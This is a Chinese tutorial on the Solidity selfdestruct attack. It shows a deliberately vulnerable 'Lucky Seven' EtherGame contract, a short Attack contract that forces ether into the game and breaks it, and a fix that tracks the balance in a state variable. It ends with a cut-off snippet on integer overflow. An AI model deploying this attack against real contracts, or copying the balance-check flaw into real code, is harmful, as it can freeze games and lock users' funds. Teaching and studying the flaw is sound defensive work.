智能合约安全:自毁函数攻击
自毁函数是由以太坊虚拟机 EVM 提供的一项功能,用于销毁区块链上部署的智能合约。
当合约执行自毁操作时,合约账户上剩余的 ETH 会发送给指定的目标地址,然后其存储和代码从以太坊状态中被移除。
自毁函数在 solidity 中定义为 selfdestruct。也就是说,智能合约在某些特殊情况下可以自行毁灭,比如:存在致命bug、废弃不再使用等。
“幸运七”核心是一个叫做 EtherGame 的合约。玩家们每次向 EtherGame 合约中打入一个以太,第七个成功打入以太的玩家将成为赢家,获得合约中累积的七个以太,其它玩家都是输家,分文不得。
自毁函数攻击“幸运七”的最终结果,是导致“幸运七”游戏停止服务,EtherGame智能合约废了。
我们知道,在 solidity 中,有三种方法发送 ETH,分别是 send,transfer和call。
关于三者的用法和区别,可以参考【编程宝库】 solidity教程。
除了这三种发送 ETH 的方法,还有其它方法吗?答案是肯定的,那就是自毁函数,这是一个很隐蔽的发送以太的方法。我们在编写智能合约的时候,往往会忽略了这一点。而正是这一点,就会被黑客利用,几行代码,就能让你的智能合约瘫痪。
被攻击者合约 EtherGame
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // 幸运七游戏合约 contract EtherGame { // 每轮游戏的目标金额 uint private constant TARGET_AMOUNT = 7 ether; // 赢家地址 address public winner; // 存入以太,玩游戏 function deposit() public payable { // 只允许玩家存入1个ether require(msg.value == 1 ether, "You can only send 1 Ether"); // 获取合约余额 uint balance = address(this).balance; // 如果合约余额小于等于7个ether,就继续向下运行,否则拒绝当前玩家,以太退回 require(balance <= TARGET_AMOUNT, "Game is over"); // 如果合约余额等于7个ether,那么本次存入以太的人,就是赢家 if (balance == TARGET_AMOUNT) { winner = msg.sender; } // 如果合约余额不等于7个ether,也就是小于7 // 那么本次存入以太的人,就是输家,以太被没收,游戏继续 } // 赢家申请取走奖励 function claimReward() public { // 判断是否为赢家,输家调用返回 "Not winner" require(msg.sender == winner, "Not winner"); // 给赢家发送合约中的全部ether (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); // 赢家地址清零 winner = address(0); } // 查看合约余额 function getBalance() public view returns(uint){ return address(this).balance; } }
攻击者合约 Attack
攻击合约 Attack 非常简单,只有两个函数。
构造函数 constructor 的属性设置为 payable,这样可以让我们在部署合约的时候,先存入7个以太。
攻击函数 attack,参数为攻击目标的地址,执行自毁的时候,强制转账给这个地址。
// 攻击者合约 contract Attack { // 构造函数,设置为payable constructor() payable{ } // 攻击函数,参数为目标合约地址 function attack(address _addr) external { selfdestruct(payable(_addr)); } // 查看合约余额 function getBalance() public view returns(uint){ return address(this).balance; } }
本次攻击之所以成功,是因为开发者过份相信自己能够控制账户余额,却不知道以太坊留有后门,可以通过自毁函数强制转账。
修复方案
解决自毁函数攻击的关键,就是不要以账户余额做为判断条件。 我们可以定义一个状态变量,用来记录游戏资金的余额,这个变量是开发者可以自行掌控的。 按照这个思路,游戏合约的代码修复如下。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // 幸运七游戏合约 contract EtherGame { // 每轮游戏的目标金额 uint private constant TARGET_AMOUNT = 7 ether; // 赢家地址 address public winner; // 账户余额 uint private balance; // 存入以太,玩游戏 function deposit() public payable { // 只允许玩家存入1个ether require(msg.value == 1 ether, "You can only send 1 Ether"); // 合约余额累加本次投注 balance += msg.value; // 如果合约余额小于等于7个ether,就继续向下运行,否则拒绝当前玩家,以太退回 require(balance <= TARGET_AMOUNT, "Game is over"); // 如果合约余额等于7个ether,那么本次存入以太的人,就是赢家 if (balance == TARGET_AMOUNT) { winner = msg.sender; } // 如果合约余额不等于7个ether,也就是小于7 // 那么本次存入以太的人,就是输家,以太被没收,游戏继续 } // 赢家申请取走奖励 function claimReward() public { // 判断是否为赢家,输家调用返回 "Not winner" require(msg.sender == winner, "Not winner"); // 合约账户余额清零 balance = 0; // 赢家地址清零 winner = address(0); // 给赢家发送合约中的全部ether (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } // 查看变量余额和合约余额 function getBalance() public view returns(uint varBalance, uint realBalance){ return (balance,address(this).balance); } } // 攻击者合约 contract Attack { // 构造函数,设置为payable constructor() payable{ } // 攻击函数,参数为目标合约地址 function attack(address _addr) external { selfdestruct(payable(_addr)); } // 查看合约余额 function getBalance() public view returns(uint){ return address(this).balance; } }
整数溢出就是向存储整数的内存单位中存放的数据,超过了该内存单位所能存储的最大值,从而导致了溢出。比如,我们要把整数1024赋值给一个uint8的变量,那么就会导致整数溢出,因为uint8变量能存放的最大值才是25 ...